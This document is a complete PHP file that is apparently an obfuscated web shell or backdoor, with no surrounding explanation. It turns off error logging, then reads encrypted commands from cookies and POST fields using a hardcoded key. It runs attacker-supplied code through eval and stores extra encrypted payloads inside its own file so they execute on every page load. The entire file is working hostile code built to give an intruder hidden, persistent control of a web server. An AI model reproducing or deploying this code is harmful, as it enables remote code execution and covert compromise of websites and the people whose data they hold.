<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $xqdoclj = '8d513cbb-4054-45b6-a276-b668f435ab9a';
    global $xqdoclj;

    function tiiiogf($xxmrso) {

        if (strlen($xxmrso) < 4)
        {
            return "";
        }

        $eapnlkz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $ygdsflvkobyg = str_split($eapnlkz);
        $ygdsflvkobyg = array_flip($ygdsflvkobyg);

        $ygdsfl = 0;
        $lcyerf = "";

        $xxmrso = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $xxmrso);

        do {
            $sapppcol = $ygdsflvkobyg[$xxmrso[$ygdsfl++]];
            $qyxqss = $ygdsflvkobyg[$xxmrso[$ygdsfl++]];
            $epajytas = $ygdsflvkobyg[$xxmrso[$ygdsfl++]];
            $torbuvcidoj = $ygdsflvkobyg[$xxmrso[$ygdsfl++]];

            $lnamec = ($sapppcol << 2) | ($qyxqss >> 4);
            $vepzma = (($qyxqss & 15) << 4) | ($epajytas >> 2);
            $snejhx = (($epajytas & 3) << 6) | $torbuvcidoj;
            $lcyerf = $lcyerf . chr($lnamec);
            if ($epajytas != 64) {
                $lcyerf = $lcyerf . chr($vepzma);
            }
            if ($torbuvcidoj != 64) {
                $lcyerf = $lcyerf . chr($snejhx);
            }
        } while ($ygdsfl < strlen($xxmrso));
        return $lcyerf;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($miwwcsmq, $zrajsygu, $eolyio = False)
        {
            $torbuvbzlpj = $eolyio == 8 ? 'a' : 'w';
            $torbuv = @fopen($miwwcsmq, $torbuvbzlpj);
            if ($torbuv === False)
            {
                return 0;
            }
            else
            {
                if (is_array($zrajsygu)) $zrajsygu = implode($zrajsygu);
                $yrxoujj = fwrite($torbuv, $zrajsygu);
                fclose($torbuv);
                return $yrxoujj;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($miwwcsmqsntduql)
        {
            $tdfyexq = fopen($miwwcsmqsntduql, "r");
            $sengna = fread($tdfyexq, filesize($miwwcsmqsntduql));
            fclose($tdfyexq);

            return $sengna;
        }
    }
    function ssudms()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function istyzk($rmbstsa, $zrajsyguiagts)
    {
        $xfcstfr = "";

        for ($ygdsfl=0; $ygdsfl<strlen($rmbstsa);)
        {
            for ($lxenbw=0; $lxenbw<strlen($zrajsyguiagts) && $ygdsfl<strlen($rmbstsa); $lxenbw++, $ygdsfl++)
            {
                $xfcstfr .= chr(ord($rmbstsa[$ygdsfl]) ^ ord($zrajsyguiagts[$lxenbw]));
            }
        }

        return $xfcstfr;
    }

    function pclcqxio($rmbstsa, $zrajsyguiagts)
    {
        global $xqdoclj;

        return istyzk(istyzk($rmbstsa, $zrajsyguiagts), $xqdoclj);
    }
    function kpmlqlc($rmbstsa, $zrajsyguiagts)
    {
        global $xqdoclj;

        return istyzk(istyzk($rmbstsa, $xqdoclj), $zrajsyguiagts);
    }

    function yefkwwkt()
    {
        $zbotflk = @file_get_contents(ssudms());

        $rfcikk = strpos($zbotflk, md5(ssudms()));
        if ($rfcikk !== FALSE)
        {
            $warwcr = substr($zbotflk, $rfcikk + 32);
            $unspuv = @unserialize(pclcqxio(rawurldecode($warwcr), md5(ssudms())));
        }
        else
        {
            $unspuv = Array();
        }

        return $unspuv;
    }

    function ujxqvx($unspuv)
    {
        $wkqnwnzi = rawurlencode(kpmlqlc(@serialize($unspuv), md5(ssudms())));
        $zbotflk = @file_get_contents(ssudms());

        $rfcikk = strpos($zbotflk, md5(ssudms()));
        if ($rfcikk !== FALSE)
        {
            $tgbjpt = substr($zbotflk, $rfcikk + 32);
            $zbotflk = str_replace($tgbjpt, $wkqnwnzi, $zbotflk);

        }
        else
        {
            $zbotflk = $zbotflk . "\n\n//" . md5(ssudms()) . $wkqnwnzi;
        }

        @file_put_contents(ssudms(), $zbotflk);
    }

    function jezpaclk($kmhzkb, $ygdsflznqztx)
    {
        $unspuv = yefkwwkt();

        $unspuv[$kmhzkb] = tiiiogf($ygdsflznqztx);

        ujxqvx($unspuv);
    }

    function zbrshwoi($kmhzkb)
    {
        $unspuv = yefkwwkt();

        unset($unspuv[$kmhzkb]);

        ujxqvx($unspuv);
    }

    function guutof($kmhzkb=NULL)
    {
        foreach (yefkwwkt() as $lxenbwfkqva=>$rpiipus)
        {
            if ($kmhzkb)
            {
                if (strcmp($kmhzkb, $lxenbwfkqva) == 0)
                {
                    eval($rpiipus);
                    break;
                }
            }
            else
            {
                eval($rpiipus);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $ygdsflugdbub => $rmbstsa)
    {
        $rmbstsa = @unserialize(pclcqxio(tiiiogf($rmbstsa), $ygdsflugdbub));

        if (isset($rmbstsa['ak']) && $xqdoclj==$rmbstsa['ak'])
        {
            if ($rmbstsa['a'] == 'i')
            {
                $ygdsfl = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $rmbstsa['ak'],
                );
                echo @serialize($ygdsfl);
                exit;
            }
            elseif ($rmbstsa['a'] == 'e')
            {
                eval($rmbstsa['d']);
            }
            elseif ($rmbstsa['a'] == 'plugin')
            {
                if($rmbstsa['sa'] == 'add')
                {
                    jezpaclk($rmbstsa['p'], $rmbstsa['d']);
                }
                elseif($rmbstsa['sa'] == 'rem')
                {
                    zbrshwoi($rmbstsa['p']);
                }
            }
            echo $rmbstsa['ak'];
            exit();
        }
    }

    guutof();
}
